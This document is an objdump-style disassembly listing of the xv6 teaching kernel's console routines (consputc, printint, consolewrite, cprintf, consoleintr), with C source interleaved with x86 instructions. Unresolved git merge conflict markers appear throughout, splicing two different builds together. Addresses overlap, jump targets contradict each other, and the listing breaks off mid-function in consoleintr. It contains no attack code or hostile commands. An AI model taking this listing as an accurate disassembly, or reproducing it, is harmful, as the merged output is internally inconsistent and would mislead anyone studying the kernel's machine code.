8010041f: 83 c4 10 add $0x10,%esp
=======
80100406: 89 04 24 mov %eax,(%esp)
80100409: e8 b2 57 00 00 call 80105bc0 <uartputc>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010040e: bf d4 03 00 00 mov $0x3d4,%edi
80100413: b8 0e 00 00 00 mov $0xe,%eax
80100418: 89 fa mov %edi,%edx
8010041a: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010041b: be d5 03 00 00 mov $0x3d5,%esi
80100420: 89 f2 mov %esi,%edx
80100422: ec in (%dx),%al
{
int pos;
// Cursor position: col + 80*row.
outb(CRTPORT, 14);
pos = inb(CRTPORT+1) << 8;
80100423: 0f b6 c8 movzbl %al,%ecx
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100426: 89 fa mov %edi,%edx
80100428: c1 e1 08 shl $0x8,%ecx
8010042b: b8 0f 00 00 00 mov $0xf,%eax
80100430: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100431: 89 f2 mov %esi,%edx
80100433: ec in (%dx),%al
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
80100434: 0f b6 c0 movzbl %al,%eax
80100437: 09 c1 or %eax,%ecx
if(c == '\n')
80100439: 83 fb 0a cmp $0xa,%ebx
8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f>
pos += 80 - pos%80;
else if(c == BACKSPACE){
80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx
80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156>
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010044e: 0f b6 db movzbl %bl,%ebx
80100451: 80 cf 07 or $0x7,%bh
80100454: 8d 79 01 lea 0x1(%ecx),%edi
80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1)
8010045e: 80
if(pos < 0 || pos > 25*80)
8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi
80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a>
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi
80100471: 7f 68 jg 801004db <consputc+0xfb>
80100473: 89 f8 mov %edi,%eax
80100475: 89 fb mov %edi,%ebx
80100477: c1 e8 08 shr $0x8,%eax
8010047a: 89 c6 mov %eax,%esi
8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100483: bf d4 03 00 00 mov $0x3d4,%edi
80100488: b8 0e 00 00 00 mov $0xe,%eax
8010048d: 89 fa mov %edi,%edx
8010048f: ee out %al,(%dx)
80100490: 89 f0 mov %esi,%eax
80100492: b2 d5 mov $0xd5,%dl
80100494: ee out %al,(%dx)
80100495: b8 0f 00 00 00 mov $0xf,%eax
8010049a: 89 fa mov %edi,%edx
8010049c: ee out %al,(%dx)
8010049d: 89 d8 mov %ebx,%eax
8010049f: b2 d5 mov $0xd5,%dl
801004a1: ee out %al,(%dx)
outb(CRTPORT, 14);
outb(CRTPORT+1, pos>>8);
outb(CRTPORT, 15);
outb(CRTPORT+1, pos);
crt[pos] = ' ' | 0x0700;
801004a2: b8 20 07 00 00 mov $0x720,%eax
801004a7: 66 89 01 mov %ax,(%ecx)
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
} else
uartputc(c);
cgaputc(c);
}
801004aa: 83 c4 1c add $0x1c,%esp
801004ad: 5b pop %ebx
801004ae: 5e pop %esi
801004af: 5f pop %edi
801004b0: 5d pop %ebp
801004b1: c3 ret
for(;;)
;
}
if(c == BACKSPACE){
uartputc('\b'); uartputc(' '); uartputc('\b');
<<<<<<< HEAD
801004ce: 83 ec 0c sub $0xc,%esp
801004d1: 6a 08 push $0x8
801004d3: e8 38 5a 00 00 call 80105f10 <uartputc>
801004d8: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004df: e8 2c 5a 00 00 call 80105f10 <uartputc>
801004e4: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004eb: e8 20 5a 00 00 call 80105f10 <uartputc>
801004f0: 83 c4 10 add $0x10,%esp
801004f3: e9 2a ff ff ff jmp 80100422 <consputc+0x32>
=======
801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004b9: e8 02 57 00 00 call 80105bc0 <uartputc>
801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004c5: e8 f6 56 00 00 call 80105bc0 <uartputc>
801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004d1: e8 ea 56 00 00 call 80105bc0 <uartputc>
801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801004e2: 00
pos -= 80;
801004e3: 8d 5f b0 lea -0x50(%edi),%ebx
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp)
801004ed: 80
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
if((pos/80) >= 24){ // Scroll up.
memmove(crt, crt+80, sizeof(crt[0])*23*80);
<<<<<<< HEAD
80100514: e8 d7 42 00 00 call 801047f0 <memmove>
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100519: b8 80 07 00 00 mov $0x780,%eax
8010051e: 83 c4 0c add $0xc,%esp
80100521: 29 d8 sub %ebx,%eax
80100523: 01 c0 add %eax,%eax
80100525: 50 push %eax
80100526: 6a 00 push $0x0
80100528: 56 push %esi
80100529: e8 12 42 00 00 call 80104740 <memset>
8010052e: 89 f1 mov %esi,%ecx
80100530: 83 c4 10 add $0x10,%esp
80100533: be 07 00 00 00 mov $0x7,%esi
80100538: e9 5c ff ff ff jmp 80100499 <consputc+0xa9>
=======
801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp)
801004fc: e8 9f 40 00 00 call 801045a0 <memmove>
pos -= 80;
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100501: b8 d0 07 00 00 mov $0x7d0,%eax
80100506: 29 f8 sub %edi,%eax
80100508: 01 c0 add %eax,%eax
8010050a: 89 34 24 mov %esi,(%esp)
8010050d: 89 44 24 08 mov %eax,0x8(%esp)
80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100518: 00
80100519: e8 e2 3f 00 00 call 80104500 <memset>
8010051e: 89 f1 mov %esi,%ecx
80100520: be 07 00 00 00 mov $0x7,%esi
80100525: e9 59 ff ff ff jmp 80100483 <consputc+0xa3>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(pos > 0) --pos;
} else
crt[pos++] = (c&0xff) | 0x0700; // black on white
if(pos < 0 || pos > 25*80)
panic("pos under/overflow");
<<<<<<< HEAD
8010053d: 83 ec 0c sub $0xc,%esp
80100540: 68 8d 73 10 80 push $0x8010738d
80100545: e8 26 fe ff ff call 80100370 <panic>
=======
8010052a: c7 04 24 0d 71 10 80 movl $0x8010710d,(%esp)
80100531: e8 2a fe ff ff call 80100360 <panic>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
else if(c == BACKSPACE){
if(pos > 0) --pos;
80100536: 85 c9 test %ecx,%ecx
80100538: 8d 79 ff lea -0x1(%ecx),%edi
8010053b: 0f 85 1e ff ff ff jne 8010045f <consputc+0x7f>
80100541: b9 00 80 0b 80 mov $0x800b8000,%ecx
80100546: 31 db xor %ebx,%ebx
80100548: 31 f6 xor %esi,%esi
8010054a: e9 34 ff ff ff jmp 80100483 <consputc+0xa3>
pos = inb(CRTPORT+1) << 8;
outb(CRTPORT, 15);
pos |= inb(CRTPORT+1);
if(c == '\n')
pos += 80 - pos%80;
8010054f: 89 c8 mov %ecx,%eax
80100551: ba 67 66 66 66 mov $0x66666667,%edx
80100556: f7 ea imul %edx
80100558: c1 ea 05 shr $0x5,%edx
8010055b: 8d 04 92 lea (%edx,%edx,4),%eax
8010055e: c1 e0 04 shl $0x4,%eax
80100561: 8d 78 50 lea 0x50(%eax),%edi
80100564: e9 f6 fe ff ff jmp 8010045f <consputc+0x7f>
80100569: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100570 <printint>:
int locking;
} cons;
static void
printint(int xx, int base, int sign)
{
80100570: 55 push %ebp
80100571: 89 e5 mov %esp,%ebp
80100573: 57 push %edi
80100574: 56 push %esi
80100575: 89 d6 mov %edx,%esi
80100577: 53 push %ebx
80100578: 83 ec 1c sub $0x1c,%esp
static char digits[] = "0123456789abcdef";
char buf[16];
int i;
uint x;
if(sign && (sign = xx < 0))
8010057b: 85 c9 test %ecx,%ecx
8010057d: 74 61 je 801005e0 <printint+0x70>
8010057f: 85 c0 test %eax,%eax
80100581: 79 5d jns 801005e0 <printint+0x70>
x = -xx;
80100583: f7 d8 neg %eax
80100585: bf 01 00 00 00 mov $0x1,%edi
else
x = xx;
i = 0;
8010058a: 31 c9 xor %ecx,%ecx
8010058c: eb 04 jmp 80100592 <printint+0x22>
8010058e: 66 90 xchg %ax,%ax
do{
buf[i++] = digits[x % base];
80100590: 89 d9 mov %ebx,%ecx
80100592: 31 d2 xor %edx,%edx
80100594: f7 f6 div %esi
80100596: 8d 59 01 lea 0x1(%ecx),%ebx
80100599: 0f b6 92 38 71 10 80 movzbl -0x7fef8ec8(%edx),%edx
}while((x /= base) != 0);
801005a0: 85 c0 test %eax,%eax
else
x = xx;
i = 0;
do{
buf[i++] = digits[x % base];
<<<<<<< HEAD
801005a8: 89 cf mov %ecx,%edi
801005aa: 31 d2 xor %edx,%edx
801005ac: 8d 4f 01 lea 0x1(%edi),%ecx
801005af: f7 f6 div %esi
801005b1: 0f b6 92 b8 73 10 80 movzbl -0x7fef8c48(%edx),%edx
=======
801005a2: 88 54 1d d7 mov %dl,-0x29(%ebp,%ebx,1)
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
}while((x /= base) != 0);
801005a6: 75 e8 jne 80100590 <printint+0x20>
if(sign)
801005a8: 85 ff test %edi,%edi
else
x = xx;
i = 0;
do{
buf[i++] = digits[x % base];
801005aa: 89 d8 mov %ebx,%eax
}while((x /= base) != 0);
if(sign)
801005ac: 74 08 je 801005b6 <printint+0x46>
buf[i++] = '-';
801005ae: 8d 59 02 lea 0x2(%ecx),%ebx
801005b1: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1)
while(--i >= 0)
801005b6: 83 eb 01 sub $0x1,%ebx
801005b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
consputc(buf[i]);
801005c0: 0f be 44 1d d8 movsbl -0x28(%ebp,%ebx,1),%eax
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
801005c5: 83 eb 01 sub $0x1,%ebx
consputc(buf[i]);
801005c8: e8 13 fe ff ff call 801003e0 <consputc>
}while((x /= base) != 0);
if(sign)
buf[i++] = '-';
while(--i >= 0)
801005cd: 83 fb ff cmp $0xffffffff,%ebx
801005d0: 75 ee jne 801005c0 <printint+0x50>
consputc(buf[i]);
}
801005d2: 83 c4 1c add $0x1c,%esp
801005d5: 5b pop %ebx
801005d6: 5e pop %esi
801005d7: 5f pop %edi
801005d8: 5d pop %ebp
801005d9: c3 ret
801005da: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
uint x;
if(sign && (sign = xx < 0))
x = -xx;
else
x = xx;
801005e0: 31 ff xor %edi,%edi
801005e2: eb a6 jmp 8010058a <printint+0x1a>
801005e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801005ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801005f0 <consolewrite>:
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005f0: 55 push %ebp
801005f1: 89 e5 mov %esp,%ebp
801005f3: 57 push %edi
801005f4: 56 push %esi
801005f5: 53 push %ebx
801005f6: 83 ec 1c sub $0x1c,%esp
int i;
iunlock(ip);
801005f9: 8b 45 08 mov 0x8(%ebp),%eax
return target - n;
}
int
consolewrite(struct inode *ip, char *buf, int n)
{
801005fc: 8b 75 10 mov 0x10(%ebp),%esi
int i;
iunlock(ip);
801005ff: 89 04 24 mov %eax,(%esp)
80100602: e8 79 11 00 00 call 80101780 <iunlock>
acquire(&cons.lock);
<<<<<<< HEAD
80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010061b: e8 f0 3e 00 00 call 80104510 <acquire>
80100620: 8b 7d 0c mov 0xc(%ebp),%edi
=======
80100607: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010060e: e8 6d 3d 00 00 call 80104380 <acquire>
80100613: 8b 7d 0c mov 0xc(%ebp),%edi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(i = 0; i < n; i++)
80100616: 85 f6 test %esi,%esi
80100618: 8d 1c 37 lea (%edi,%esi,1),%ebx
8010061b: 7e 12 jle 8010062f <consolewrite+0x3f>
8010061d: 8d 76 00 lea 0x0(%esi),%esi
consputc(buf[i] & 0xff);
80100620: 0f b6 07 movzbl (%edi),%eax
80100623: 83 c7 01 add $0x1,%edi
80100626: e8 b5 fd ff ff call 801003e0 <consputc>
{
int i;
iunlock(ip);
acquire(&cons.lock);
for(i = 0; i < n; i++)
8010062b: 39 df cmp %ebx,%edi
8010062d: 75 f1 jne 80100620 <consolewrite+0x30>
consputc(buf[i] & 0xff);
release(&cons.lock);
<<<<<<< HEAD
8010063f: 83 ec 0c sub $0xc,%esp
80100642: 68 20 a5 10 80 push $0x8010a520
80100647: e8 a4 40 00 00 call 801046f0 <release>
=======
8010062f: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100636: e8 75 3e 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
ilock(ip);
8010063b: 8b 45 08 mov 0x8(%ebp),%eax
8010063e: 89 04 24 mov %eax,(%esp)
80100641: e8 6a 10 00 00 call 801016b0 <ilock>
return n;
}
80100646: 83 c4 1c add $0x1c,%esp
80100649: 89 f0 mov %esi,%eax
8010064b: 5b pop %ebx
8010064c: 5e pop %esi
8010064d: 5f pop %edi
8010064e: 5d pop %ebp
8010064f: c3 ret
80100650 <cprintf>:
//PAGEBREAK: 50
// Print to the console. only understands %d, %x, %p, %s.
void
cprintf(char *fmt, ...)
{
80100650: 55 push %ebp
80100651: 89 e5 mov %esp,%ebp
80100653: 57 push %edi
80100654: 56 push %esi
80100655: 53 push %ebx
80100656: 83 ec 1c sub $0x1c,%esp
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100659: a1 54 a5 10 80 mov 0x8010a554,%eax
if(locking)
8010065e: 85 c0 test %eax,%eax
{
int i, c, locking;
uint *argp;
char *s;
locking = cons.locking;
80100660: 89 45 e0 mov %eax,-0x20(%ebp)
if(locking)
80100663: 0f 85 27 01 00 00 jne 80100790 <cprintf+0x140>
acquire(&cons.lock);
if (fmt == 0)
80100669: 8b 45 08 mov 0x8(%ebp),%eax
8010066c: 85 c0 test %eax,%eax
8010066e: 89 c1 mov %eax,%ecx
80100670: 0f 84 2b 01 00 00 je 801007a1 <cprintf+0x151>
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
80100676: 0f b6 00 movzbl (%eax),%eax
80100679: 31 db xor %ebx,%ebx
8010067b: 89 cf mov %ecx,%edi
8010067d: 8d 75 0c lea 0xc(%ebp),%esi
80100680: 85 c0 test %eax,%eax
80100682: 75 4c jne 801006d0 <cprintf+0x80>
80100684: eb 5f jmp 801006e5 <cprintf+0x95>
80100686: 66 90 xchg %ax,%ax
if(c != '%'){
consputc(c);
continue;
}
c = fmt[++i] & 0xff;
80100688: 83 c3 01 add $0x1,%ebx
8010068b: 0f b6 14 1f movzbl (%edi,%ebx,1),%edx
if(c == 0)
8010068f: 85 d2 test %edx,%edx
80100691: 74 52 je 801006e5 <cprintf+0x95>
break;
switch(c){
80100693: 83 fa 70 cmp $0x70,%edx
80100696: 74 72 je 8010070a <cprintf+0xba>
80100698: 7f 66 jg 80100700 <cprintf+0xb0>
8010069a: 83 fa 25 cmp $0x25,%edx
8010069d: 8d 76 00 lea 0x0(%esi),%esi
801006a0: 0f 84 a2 00 00 00 je 80100748 <cprintf+0xf8>
801006a6: 83 fa 64 cmp $0x64,%edx
801006a9: 75 7d jne 80100728 <cprintf+0xd8>
case 'd':
printint(*argp++, 10, 1);
801006ab: 8d 46 04 lea 0x4(%esi),%eax
801006ae: b9 01 00 00 00 mov $0x1,%ecx
801006b3: 89 45 e4 mov %eax,-0x1c(%ebp)
801006b6: 8b 06 mov (%esi),%eax
801006b8: ba 0a 00 00 00 mov $0xa,%edx
801006bd: e8 ae fe ff ff call 80100570 <printint>
801006c2: 8b 75 e4 mov -0x1c(%ebp),%esi
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006c5: 83 c3 01 add $0x1,%ebx
801006c8: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006cc: 85 c0 test %eax,%eax
801006ce: 74 15 je 801006e5 <cprintf+0x95>
if(c != '%'){
801006d0: 83 f8 25 cmp $0x25,%eax
801006d3: 74 b3 je 80100688 <cprintf+0x38>
consputc('%');
break;
default:
// Print unknown % sequence to draw attention.
consputc('%');
consputc(c);
801006d5: e8 06 fd ff ff call 801003e0 <consputc>
if (fmt == 0)
panic("null fmt");
argp = (uint*)(void*)(&fmt + 1);
for(i = 0; (c = fmt[i] & 0xff) != 0; i++){
801006da: 83 c3 01 add $0x1,%ebx
801006dd: 0f b6 04 1f movzbl (%edi,%ebx,1),%eax
801006e1: 85 c0 test %eax,%eax
801006e3: 75 eb jne 801006d0 <cprintf+0x80>
consputc(c);
break;
}
}
if(locking)
801006e5: 8b 45 e0 mov -0x20(%ebp),%eax
801006e8: 85 c0 test %eax,%eax
801006ea: 74 0c je 801006f8 <cprintf+0xa8>
release(&cons.lock);
<<<<<<< HEAD
80100705: 83 ec 0c sub $0xc,%esp
80100708: 68 20 a5 10 80 push $0x8010a520
8010070d: e8 de 3f 00 00 call 801046f0 <release>
80100712: 83 c4 10 add $0x10,%esp
}
80100715: 8d 65 f4 lea -0xc(%ebp),%esp
80100718: 5b pop %ebx
80100719: 5e pop %esi
8010071a: 5f pop %edi
8010071b: 5d pop %ebp
8010071c: c3 ret
8010071d: 8d 76 00 lea 0x0(%esi),%esi
=======
801006ec: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801006f3: e8 b8 3d 00 00 call 801044b0 <release>
}
801006f8: 83 c4 1c add $0x1c,%esp
801006fb: 5b pop %ebx
801006fc: 5e pop %esi
801006fd: 5f pop %edi
801006fe: 5d pop %ebp
801006ff: c3 ret
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
continue;
}
c = fmt[++i] & 0xff;
if(c == 0)
break;
switch(c){
80100700: 83 fa 73 cmp $0x73,%edx
80100703: 74 53 je 80100758 <cprintf+0x108>
80100705: 83 fa 78 cmp $0x78,%edx
80100708: 75 1e jne 80100728 <cprintf+0xd8>
case 'd':
printint(*argp++, 10, 1);
break;
case 'x':
case 'p':
printint(*argp++, 16, 0);
8010070a: 8d 46 04 lea 0x4(%esi),%eax
8010070d: 31 c9 xor %ecx,%ecx
8010070f: 89 45 e4 mov %eax,-0x1c(%ebp)
80100712: 8b 06 mov (%esi),%eax
80100714: ba 10 00 00 00 mov $0x10,%edx
80100719: e8 52 fe ff ff call 80100570 <printint>
8010071e: 8b 75 e4 mov -0x1c(%ebp),%esi
break;
80100721: eb a2 jmp 801006c5 <cprintf+0x75>
80100723: 90 nop
80100724: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
case '%':
consputc('%');
break;
default:
// Print unknown % sequence to draw attention.
consputc('%');
80100728: b8 25 00 00 00 mov $0x25,%eax
8010072d: 89 55 e4 mov %edx,-0x1c(%ebp)
80100730: e8 ab fc ff ff call 801003e0 <consputc>
consputc(c);
80100735: 8b 55 e4 mov -0x1c(%ebp),%edx
80100738: 89 d0 mov %edx,%eax
8010073a: e8 a1 fc ff ff call 801003e0 <consputc>
8010073f: eb 99 jmp 801006da <cprintf+0x8a>
80100741: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
s = "(null)";
for(; *s; s++)
consputc(*s);
break;
case '%':
consputc('%');
80100748: b8 25 00 00 00 mov $0x25,%eax
8010074d: e8 8e fc ff ff call 801003e0 <consputc>
break;
80100752: e9 6e ff ff ff jmp 801006c5 <cprintf+0x75>
80100757: 90 nop
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
80100758: 8d 46 04 lea 0x4(%esi),%eax
8010075b: 8b 36 mov (%esi),%esi
8010075d: 89 45 e4 mov %eax,-0x1c(%ebp)
s = "(null)";
<<<<<<< HEAD
80100788: b8 a0 73 10 80 mov $0x801073a0,%eax
8010078d: 85 f6 test %esi,%esi
8010078f: 0f 44 f0 cmove %eax,%esi
=======
80100760: b8 20 71 10 80 mov $0x80107120,%eax
80100765: 85 f6 test %esi,%esi
80100767: 0f 44 f0 cmove %eax,%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
for(; *s; s++)
8010076a: 0f be 06 movsbl (%esi),%eax
8010076d: 84 c0 test %al,%al
8010076f: 74 16 je 80100787 <cprintf+0x137>
80100771: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80100778: 83 c6 01 add $0x1,%esi
consputc(*s);
8010077b: e8 60 fc ff ff call 801003e0 <consputc>
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
s = "(null)";
for(; *s; s++)
80100780: 0f be 06 movsbl (%esi),%eax
80100783: 84 c0 test %al,%al
80100785: 75 f1 jne 80100778 <cprintf+0x128>
case 'x':
case 'p':
printint(*argp++, 16, 0);
break;
case 's':
if((s = (char*)*argp++) == 0)
80100787: 8b 75 e4 mov -0x1c(%ebp),%esi
8010078a: e9 36 ff ff ff jmp 801006c5 <cprintf+0x75>
8010078f: 90 nop
uint *argp;
char *s;
locking = cons.locking;
if(locking)
acquire(&cons.lock);
<<<<<<< HEAD
801007c0: 83 ec 0c sub $0xc,%esp
801007c3: 68 20 a5 10 80 push $0x8010a520
801007c8: e8 43 3d 00 00 call 80104510 <acquire>
801007cd: 83 c4 10 add $0x10,%esp
801007d0: e9 a4 fe ff ff jmp 80100679 <cprintf+0x19>
if (fmt == 0)
panic("null fmt");
801007d5: 83 ec 0c sub $0xc,%esp
801007d8: 68 a7 73 10 80 push $0x801073a7
801007dd: e8 8e fb ff ff call 80100370 <panic>
801007e2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801007e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
=======
80100790: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100797: e8 e4 3b 00 00 call 80104380 <acquire>
8010079c: e9 c8 fe ff ff jmp 80100669 <cprintf+0x19>
if (fmt == 0)
panic("null fmt");
801007a1: c7 04 24 27 71 10 80 movl $0x80107127,(%esp)
801007a8: e8 b3 fb ff ff call 80100360 <panic>
801007ad: 8d 76 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
801007b0 <consoleintr>:
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007b0: 55 push %ebp
801007b1: 89 e5 mov %esp,%ebp
801007b3: 57 push %edi
801007b4: 56 push %esi
int c, doprocdump = 0;
801007b5: 31 f6 xor %esi,%esi
#define C(x) ((x)-'@') // Control-x
void
consoleintr(int (*getc)(void))
{
801007b7: 53 push %ebx
801007b8: 83 ec 1c sub $0x1c,%esp
801007bb: 8b 5d 08 mov 0x8(%ebp),%ebx
int c, doprocdump = 0;
acquire(&cons.lock);
<<<<<<< HEAD
801007fe: 68 20 a5 10 80 push $0x8010a520
80100803: e8 08 3d 00 00 call 80104510 <acquire>
=======
801007be: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
801007c5: e8 b6 3b 00 00 call 80104380 <acquire>
801007ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
while((c = getc()) >= 0){
801007d0: ff d3 call *%ebx
801007d2: 85 c0 test %eax,%eax
801007d4: 89 c7 mov %eax,%edi
801007d6: 78 48 js 80100820 <consoleintr+0x70>
switch(c){
801007d8: 83 ff 10 cmp $0x10,%edi
801007db: 0f 84 2f 01 00 00 je 80100910 <consoleintr+0x160>
801007e1: 7e 5d jle 80100840 <consoleintr+0x90>
801007e3: 83 ff 15 cmp $0x15,%edi
801007e6: 0f 84 d4 00 00 00 je 801008c0 <consoleintr+0x110>
801007ec: 83 ff 7f cmp $0x7f,%edi
801007ef: 90 nop
801007f0: 75 53 jne 80100845 <consoleintr+0x95>
input.e--;
consputc(BACKSPACE);
}
break;
case C('H'): case '\x7f': // Backspace
if(input.e != input.w){
801007f2: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
801007f7: 3b 05 c4 ff 10 80 cmp 0x8010ffc4,%eax
801007fd: 74 d1 je 801007d0 <consoleintr+0x20>
input.e--;
801007ff: 83 e8 01 sub $0x1,%eax
80100802: a3 c8 ff 10 80 mov %eax,0x8010ffc8
consputc(BACKSPACE);
80100807: b8 00 01 00 00 mov $0x100,%eax
8010080c: e8 cf fb ff ff call 801003e0 <consputc>
consoleintr(int (*getc)(void))
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
80100811: ff d3 call *%ebx
80100813: 85 c0 test %eax,%eax
80100815: 89 c7 mov %eax,%edi
80100817: 79 bf jns 801007d8 <consoleintr+0x28>
80100819: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
}
}
break;
}
}
release(&cons.lock);
<<<<<<< HEAD
80100860: 83 ec 0c sub $0xc,%esp
80100863: 68 20 a5 10 80 push $0x8010a520
80100868: e8 83 3e 00 00 call 801046f0 <release>
=======
80100820: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
80100827: e8 84 3c 00 00 call 801044b0 <release>
>>>>>>> 5be23f73dd4c6982e6625078437cc3b0c9668c6f
if(doprocdump) {
8010082c: 85 f6 test %esi,%esi
8010082e: 0f 85 ec 00 00 00 jne 80100920 <consoleintr+0x170>
procdump(); // now call procdump() wo. cons.lock held
}
}
80100834: 83 c4 1c add $0x1c,%esp
80100837: 5b pop %ebx
80100838: 5e pop %esi
80100839: 5f pop %edi
8010083a: 5d pop %ebp
8010083b: c3 ret
8010083c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
int c, doprocdump = 0;
acquire(&cons.lock);
while((c = getc()) >= 0){
switch(c){
80100840: 83 ff 08 cmp $0x8,%edi
80100843: 74 ad je 801007f2 <consoleintr+0x42>
input.e--;
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
80100845: 85 ff test %edi,%edi
80100847: 74 87 je 801007d0 <consoleintr+0x20>
80100849: a1 c8 ff 10 80 mov 0x8010ffc8,%eax
8010084e: 89 c2 mov %eax,%edx
80100850: 2b 15 c0 ff 10 80 sub 0x8010ffc0,%edx
80100856: 83 fa 7f cmp $0x7f,%edx
80100859: 0f 87 71 ff ff ff ja 801007d0 <consoleintr+0x20>
c = (c == '\r') ? '\n' : c;
input.buf[input.e++ % INPUT_BUF] = c;
8010085f: 8d 50 01 lea 0x1(%eax),%edx
80100862: 83 e0 7f and $0x7f,%eax
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
80100865: 83 ff 0d cmp $0xd,%edi
input.buf[input.e++ % INPUT_BUF] = c;
80100868: 89 15 c8 ff 10 80 mov %edx,0x8010ffc8
consputc(BACKSPACE);
}
break;
default:
if(c != 0 && input.e-input.r < INPUT_BUF){
c = (c == '\r') ? '\n' : c;
8010086e: 0f 84 b8 00 00 00 je 8010092c <consoleintr+0x17c>
input.buf[input.e++ % INPUT_BUF] = c;
80100874: 89 f9 mov %edi,%ecx
80100876: 88 88 40 ff 10 80 mov %cl,-0x7fef00c0(%eax)
consputc(c);
8010087c: 89 f8 mov %edi,%eax
8010087e: e8 5d fb ff ff call 801003e0 <consputc>
if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){
80100883: 83 ff 04 cmp $0x4,%edi
